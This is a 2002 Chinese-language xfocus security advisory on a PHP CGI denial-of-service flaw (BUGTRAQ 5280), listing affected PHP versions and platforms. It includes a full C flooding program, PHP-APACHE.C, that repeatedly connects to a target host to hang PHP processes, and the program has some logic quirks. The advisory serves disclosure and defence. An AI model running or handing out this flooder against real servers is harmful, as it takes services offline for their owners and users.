xfocus logo xfocus title
首页 焦点原创 安全文摘 安全工具 安全漏洞 焦点项目 焦点论坛 关于我们
English Version

PHP解析器存在拒绝服务攻击漏洞


发布时间:2002-07-26
更新时间:2002-07-26
严重程度:
威胁程度:远程拒绝服务
错误类型:设计错误
利用方式:服务器模式

BUGTRAQ ID:5280

受影响系统
PHP PHP 3.0
PHP PHP 3.0 .18
   + Conectiva Linux ecommerce
   + Conectiva Linux graficas
   + Conectiva Linux 5.0
   + Conectiva Linux 5.1
   + Conectiva Linux 6.0
   + Debian Linux 2.2
   + Debian Linux 2.2 68k
   + Debian Linux 2.2 alpha
   + Debian Linux 2.2 arm
   + Debian Linux 2.2 IA-32
   + Debian Linux 2.2 powerpc
   + Debian Linux 2.2 sparc
   + RedHat Linux 6.2
   + RedHat Linux 6.2 alpha
   + RedHat Linux 6.2 i386
   + RedHat Linux 6.2 sparc
   + Trustix Secure Linux 1.1
   + Trustix Secure Linux 1.2
PHP PHP 3.0 .17
   + S.u.S.E. Linux 7.0
   + S.u.S.E. Linux 7.0 alpha
   + S.u.S.E. Linux 7.0 i386
   + S.u.S.E. Linux 7.0 ppc
   + S.u.S.E. Linux 7.0 sparc
   + S.u.S.E. Linux 7.1
   + S.u.S.E. Linux 7.1 alpha
   + S.u.S.E. Linux 7.1 ppc
   + S.u.S.E. Linux 7.1 sparc
   + S.u.S.E. Linux 7.1 x86
   + Trustix Secure Linux 1.1
   + Trustix Secure Linux 1.2
PHP PHP 3.0 .16
   + S.u.S.E. Linux 6.4
   + S.u.S.E. Linux 6.4 alpha
   + S.u.S.E. Linux 6.4 i386
   + S.u.S.E. Linux 6.4 ppc
PHP PHP 3.0 .15
PHP PHP 3.0 .14
PHP PHP 3.0 .13
PHP PHP 3.0 .12
PHP PHP 3.0 .11
PHP PHP 3.0 .10
PHP PHP 3.0.1
PHP PHP 3.0.2
PHP PHP 3.0.3
PHP PHP 3.0.4
PHP PHP 3.0.5
PHP PHP 3.0.6
PHP PHP 3.0.7
PHP PHP 3.0.8
PHP PHP 3.0.9
PHP PHP 3.0.10
PHP PHP 3.0.11
PHP PHP 3.0.12
PHP PHP 3.0.13
PHP PHP 3.0.16
PHP PHP 4.0
PHP PHP 4.0.1 pl2
PHP PHP 4.0.1 pl1
PHP PHP 4.0.1
PHP PHP 4.0.2
PHP PHP 4.0.3 pl1
   + S.u.S.E. Linux 6.4
   + S.u.S.E. Linux 6.4 alpha
   + S.u.S.E. Linux 6.4 i386
   + S.u.S.E. Linux 6.4 ppc
PHP PHP 4.0.3
   + Debian Linux 2.2
   + Debian Linux 2.2 68k
   + Debian Linux 2.2 alpha
   + Debian Linux 2.2 arm
   + Debian Linux 2.2 IA-32
   + Debian Linux 2.2 powerpc
   + Debian Linux 2.2 sparc
PHP PHP 4.0.4
   + Compaq Compaq Secure Web Server PHP V1.0
   + Conectiva Linux 6.0
   + Guardian Digital Engarde Secure Linux 1.0.1
   + S.u.S.E. Linux 7.0
   + S.u.S.E. Linux 7.0 alpha
   + S.u.S.E. Linux 7.0 i386
   + S.u.S.E. Linux 7.0 ppc
   + S.u.S.E. Linux 7.0 sparc
   + S.u.S.E. Linux 7.1
   + S.u.S.E. Linux 7.1 alpha
   + S.u.S.E. Linux 7.1 ppc
   + S.u.S.E. Linux 7.1 sparc
   + S.u.S.E. Linux 7.1 x86
PHP PHP 4.0.5
PHP PHP 4.0.6
   + Caldera OpenLinux Server 3.1
   + Caldera OpenLinux Server 3.1.1
   + Caldera OpenLinux Workstation 3.1
   + Caldera OpenLinux Workstation 3.1.1
   + HP Secure OS software for Linux 1.0
   - IBM AIX 4.3
   - IBM AIX 4.3.1
   - IBM AIX 4.3.2
   - IBM AIX 4.3.3
   - IBM AIX 5.1
   + RedHat Linux 7.0
   + RedHat Linux 7.0 alpha
   + RedHat Linux 7.0 i386
   + RedHat Linux 7.1
   + RedHat Linux 7.1 alpha
   + RedHat Linux 7.1 i386
   + RedHat Linux 7.1 ia64
   + RedHat Linux 7.2
   + RedHat Linux 7.2 i386
   + RedHat Linux 7.2 ia64
   + S.u.S.E. Linux 7.2
   + S.u.S.E. Linux 7.2 i386
   + S.u.S.E. Linux 7.3
   + S.u.S.E. Linux 7.3 i386
   + S.u.S.E. Linux 7.3 ppc
   + S.u.S.E. Linux 7.3 sparc
   + Trustix Secure Linux 1.5
PHP PHP 4.0.7 RC3
PHP PHP 4.0.7 RC2
PHP PHP 4.0.7 RC1
PHP PHP 4.0.7
PHP PHP 4.1 .0
PHP PHP 4.1.1
   + Conectiva Linux 7.0
PHP PHP 4.1.2
   + Apple MacOS X 10.0
   + Apple MacOS X 10.0.1
   + Apple MacOS X 10.0.2
   + Apple MacOS X 10.0.3
   + Apple MacOS X 10.0.4
   + Apple MacOS X 10.1
   + Apple MacOS X 10.1
   + Apple MacOS X 10.1.1
   + Apple MacOS X 10.1.2
   + Apple MacOS X 10.1.3
   + Apple MacOS X 10.1.4
   + Apple MacOS X 10.1.5
PHP PHP 4.2 .0
PHP PHP 4.2.1
   - FreeBSD FreeBSD 4.3
   - FreeBSD FreeBSD 4.4
   - FreeBSD FreeBSD 4.5
   - FreeBSD FreeBSD 4.6
PHP PHP 4.2.2
详细描述
在某些条件下,远程攻击者可以从WEB调用PHP解析器,如WINDOWS下的Php.exe,如果解析器调用的时候没有命令行选项,就可能使PHP进程挂起,导致产生拒绝服务攻击。

测试代码
http://localhost/php/php

或者:

/* PHP-APACHE.C
* By Matthew Murphy
* Exhaust CGI Resources via PHP on Apache
*
* Calling PHP with no parameters causes it to
* never terminate; the process must be killed
* by the server, the OS, or the admin.
*
* PHP on Apache requires you to configure a
* virtual to load PHP out of.  PHP implements
* a "cgi.force_redirect" value to require that
* a certain environment variable be set to
* allow PHP to run further.
*
* However, an empty command-line *still* will
* cause PHP to hang.  If a remote user does
* this for a lengthy amount of time, the server
* may no longer launch PHP or other server-side
* components.
*
* NOTE: The vulnerable config is on Apache,
* but other servers can still be exploited
* if they offer PHP.EXE (or an SAPI) directly.
*
* Usage: php-apache <host> [phpbin] [port] [maxsocks]
*/

#include <stdio.h>
#include <string.h>

#ifdef _WIN32
#define _WINSOCKAPI_            /* Fix for Winsock.h redef errors
*/
#include <winsock2.h>            /* WinSock API calls... */
#define WSA_VER        0x0101        /* WinSock ver. to use */
#pragma comment(lib, "wsock32.lib")    /* Check your compiler's docs...
*/
#else
#include <signal.h>
#include <netdb.h>
#include <sys/types.h>
#include <sys/time.h>
#include <netinet/in.h>
#include <netinet/ip.h>
#include <netinet/tcp.h>
#endif

#define DEF_PHP        "/php/php"    /* This is used as the PHP
                     * path if one isn't set
                    */

static char php_buf[] = "GET %s HTTP/1.0\x0d\x0a\x0d\x0a";

void main(int argc, char *argv[]) {
    char host[257];
    char binpath[257];
    int maxsocks;
    char request[300];
    unsigned short port;
    struct hostent *he;
    struct sockaddr_in sa_in;
#ifdef _WIN32
    WSADATA wsa_prov;
    SOCKET s;
#else
    int s;
#endif
    printf("PHP-APACHE.C by Matthew Murphy\x0d\x0a");
    printf("Exhausting CGI resources w/ PHP on
Apache\x0d\x0a\x0d\x0a");
    maxsocks = 0;
    strcpy(&binpath[0], DEF_PHP);
#ifdef _WIN32
    if (!WSAStartup(WSA_VER, &wsa_prov) == 0) {
        printf("ERROR: Windows Sockets init failed!");
        exit(1);
    }
#endif
    port = (unsigned short)htons(80);
    switch (argc) {
    case 5:
        maxsocks = atoi(argv[4]);
    case 4:
        port = htons((unsigned short)atoi(argv[2]));
    case 3:
        if (strlen(argv[2]) > 256) {
            printf("ERROR: 256 char path limit exceeded in
'phpbin' argument.");
            exit(1);
        }
        strcpy(&binpath[0], argv[2]);
    case 2:
        if (strlen(argv[1]) > 256) {
            printf("ERROR: No host should be over 256
chars!");
            exit(1);
        }
        strcpy(&host[0], argv[1]);
        break;
    default:
        printf("Usage: php-apache <host> [port] [maxsocks]
[phpbin]\x0d\x0a\x0d\x0ahost - The IP/DNS name to attack\x0d\x0aport - The
port the HTTP service normally runs on (default: 80)\x0d\x0amaxsocks - The
maximum number of connections to establish (creates a finite flood).  A
zero value means continue until termination (default: 0)\x0d\x0aphpbin -
The virtual path to the PHP binary (e.g, /php/php[.exe]; default:
/php/php)");
        exit(0);
    }
    if (maxsocks == 0) {
        maxsocks--;
    }
    sa_in.sin_family = AF_INET;
    sa_in.sin_port = (unsigned short)port;
    he = gethostbyname(&host[0]);
    if (he == NULL) {
        printf("ERROR: DNS resolution failed, or unknown host.");
        exit(1);
    }
#ifdef _WIN32
    sa_in.sin_addr.S_un.S_addr = (unsigned long)*(unsigned long
*)he->h_addr;
#else
    sa_in.sin_addr.S_addr = (unsigned long)*(unsigned long
*)he->h_addr;
#endif
    sprintf(&request[0], &php_buf[0], &binpath[0]);
    while (!maxsocks == 0) {
        s = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
        if (s < 0) {
            printf("Couldn't create socket...\x0d\x0aIf you
continue to receive this error, terminate the program.");
        } else {
            if (!connect(s, (const struct sockaddr FAR
*)&sa_in, sizeof(struct sockaddr_in)) == 0) {
                printf("Couldn't connect...\x0d\x0aIf you
continue to receive this error, terminate the program.");
            } else {
                send(s, (char FAR *)&request[0],
strlen(&request[0]), 0);

/* If the exploit isn't using up server resources
* try removing this -- the server may be killing
* the CGI after a disconnect.
*/

#ifdef _WIN32
                shutdown(s, SD_BOTH);
                closesocket(s);
#else
                close(s);
#endif
            }
        }
        if (!maxsocks == -1) {
            maxsocks--;
        }
    }
    return;
}

解决方案


相关信息
Matthew Murphy (mattmurphy_at_kc.rr.com)
参考:http://archives.neohapsis.com/archives/bugtraq/2002-07/0230.html